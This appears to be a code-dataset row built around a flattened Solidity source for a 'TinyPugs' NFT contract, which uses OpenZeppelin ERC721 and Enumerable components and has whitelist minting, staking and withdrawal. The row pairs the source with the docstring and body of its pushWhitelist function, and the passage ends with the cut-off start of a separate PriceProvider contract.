function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/TinyPugs.sol
pragma solidity ^0.8.4;
/// @custom:security-contact https://discord.gg/poodles
contract TinyPugs is ERC721Enumerable, Pausable, Ownable {
using Strings for uint256;
bool public revealed;
bool public onlyWhitelisted;
string public baseExtension;
string public notRevealedURI;
string public baseURI;
uint256 public cost;
uint256 public maxMintableTokens;
uint256 public maxMintPerXn;
uint256 public maxMintPerAcct;
address public marketingFund;
address public staker;
address[] public whitelistedUsers;
/// @dev Initialize contract with known variables.
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _notRevealedURI,
string memory _baseExtension,
uint256 _maxMintableTokens,
uint256 _maxMintPerXn,
uint256 _maxMintPerAcct,
uint256 _cost
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_notRevealedURI);
baseExtension = _baseExtension;
maxMintableTokens = _maxMintableTokens;
setMaxMintPerAcct(_maxMintPerAcct);
setMaxMintPerXn(_maxMintPerXn);
setCost(_cost);
setOnlyWhitelisted(true);
}
/// @dev Returns the length of whitelistedUsers.
function getWhitelistLength() public view returns (uint256) {
return whitelistedUsers.length;
}
/// @dev Set `baseURI` to `_newBaseURI`.
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
/// @dev Set `notRevealedURI` to `_notRevealedURI`.
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedURI = _notRevealedURI;
}
/// @dev Set `maxMintPerXn` to `_newMaxMintPerXn`.
function setMaxMintPerXn(uint256 _newMaxMintPerXn) public onlyOwner {
require(_newMaxMintPerXn <= maxMintableTokens, 'TinyPugs: maxMintPerXn cannot be greater than maxMintableTokens.');
require(_newMaxMintPerXn <= maxMintPerAcct, 'TinyPugs: maxMintPerXn cannot be greater than maxMintPerAcct.');
maxMintPerXn = _newMaxMintPerXn;
}
/// @dev Set `maxMintPerAcct` to `_newMaxMintPerAcct`.
function setMaxMintPerAcct(uint256 _newMaxMintPerAcct) public onlyOwner {
require(_newMaxMintPerAcct >= maxMintPerXn, 'TinyPugs: maxMintPerAcct cannot be less than maxMintPerXn.');
require(_newMaxMintPerAcct <= maxMintableTokens, 'TinyPugs: maxMintPerAcct cannot be greater than maxMintableTokens.');
maxMintPerAcct = _newMaxMintPerAcct;
}
/// @dev Set `cost` to `_newCost`.
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
/// @dev Set `marketingFund` to `_newMarketingFund`.
function setMarketingFund(address _newMarketingFund) public onlyOwner {
require(_newMarketingFund != address(0), "TinyPugs: cannot assign the zero address.");
marketingFund = _newMarketingFund;
}
/// @dev Set `onlyWhitelisted` to `_newBool`.
function setOnlyWhitelisted(bool _newBool) public onlyOwner {
onlyWhitelisted = _newBool;
}
/// @dev Set `whitelistedUsers` to `_newWhitelistedUsers`.
/// Assumes `_newWhitelistedUsers` is not too long to allow all users to mint.
/// Assumes no duplicate values within `_newWhitelistedUsers`.
function setWhitelist(address[] calldata _newWhitelistedUsers) external onlyOwner {
whitelistedUsers = _newWhitelistedUsers;
}
/// @dev Set `staker` to `_newStaker`.
function setStaker(address _newStaker) public onlyOwner {
require(_newStaker != address(0), "TinyPugs: cannot assign the zero address.");
staker = _newStaker;
}
/// @dev Push a value onto `whitelistedUsers`.
function pushWhitelist(address _newUser) external onlyOwner {
require(_newUser != address(0), "TinyPugs: cannot whitelist the zero address.");
require(!isWhitelistedUser(_newUser), "TinyPugs: cannot redundantly whitelist a user.");
whitelistedUsers.push(_newUser);
}
/// @dev Set `revealed` state to true.
function reveal() public onlyOwner {
revealed = true;
}
/// @dev Set `_paused` state to true.
function pause() public onlyOwner {
_pause();
}
/// @dev Set `_paused` state to false.
function unpause() public onlyOwner {
_unpause();
}
/// @dev See {IERC721Metadata-tokenURI}.
/// Overridden to provide `revealed` mechanism and `baseExtension` concatenation.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return notRevealedURI;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
/// @dev Mint `_mintAmount` tokens for `cost` per token, if permitted.
function safeMint(uint256 _mintAmount) public payable {
uint256 mintedSupply = totalSupply();
require(_mintAmount > 0, "TinyPugs: cannot mint non-positive amount.");
require(mintedSupply + _mintAmount <= maxMintableTokens, "TinyPugs: cannot mint more tokens than available.");
if (_msgSender() != owner()) {
if (onlyWhitelisted) {
require(isWhitelistedUser(_msgSender()), "TinyPugs: cannot permit mint from non-whitelisted address.");
}
require(_mintAmount <= maxMintPerXn, "TinyPugs: cannot mint more than maxMintPerXn in a transaction.");
require(balanceOf(_msgSender()) + _mintAmount <= maxMintPerAcct, "TinyPugs: cannot mint more than maxMintPerAcct per owner address.");
require(msg.value >= cost * _mintAmount, "TinyPugs: not enough wei provided as payment.");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_msgSender(), mintedSupply + i);
}
}
/// @dev Stake provided tokenId for PPLNT.
/// Assumes staker has been assigned.
function stake(uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_msgSender() == owner, "TinyPugs: cannot stake token that isn't owned by sender.");
approve(staker, _tokenId);
INftStaker(staker).stake(_tokenId, owner);
}
/// @dev Unstake provided tokenId.
/// msg.sender to this function must be the address that staked _tokenId, the original owner.
/// Assumes staker has been assigned.
function unstake(uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(staker == owner, "TinyPugs: cannot unstake token that isn't owned by staker.");
INftStaker(staker).unstake(_tokenId, _msgSender());
}
/// @dev Withdraw 100% of funds in this contract into the marketingFund.
function withdraw() public payable onlyOwner {
require(marketingFund != address(0), "TinyPugs: marketingFund not initialized.");
(bool success, ) = payable(marketingFund).call{value: address(this).balance}("");
require(success);
}
/// @dev Search for a match within whitelistedUsers array and return a bool
/// indicating if the address was found.
function isWhitelistedUser(address _candidate) internal view returns (bool) {
for (uint256 i; i < whitelistedUsers.length; i++) {
if (_candidate == whitelistedUsers[i]) {
return true;
}
}
return false;
}
/// @dev See {ERC721-_baseURI}.
/// Overridden to leverage `baseURI` in storage.
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
/// @dev See {ERC721-_beforeTokenTransfer}.
/// Overridden to apply modifier, whenNotPaused.
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override {
super._beforeTokenTransfer(from, to, tokenId);
}
/// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return super.supportsInterface(interfaceId);
}
}
|
@dev Push a value onto `whitelistedUsers`.
|
function pushWhitelist(address _newUser) external onlyOwner {
require(_newUser != address(0), "TinyPugs: cannot whitelist the zero address.");
require(!isWhitelistedUser(_newUser), "TinyPugs: cannot redundantly whitelist a user.");
whitelistedUsers.push(_newUser);
}
| 13,520,753
|
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// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IPriceFeed.sol";
import "../interfaces/IPriceProvider.sol";
import "../interfaces/IConfigurationManager.sol";
/**
* @title PriceProvider
* @author Pods Finance
* @notice Storage of prices feeds by asset
*/
contract PriceProvider is IPriceProvider, Ownable {
/**
* @dev store globally accessed configurations
*/
IConfigurationManager public immutable configurationManager;
/**
* @dev Minimum price interval to accept a price feed
*/
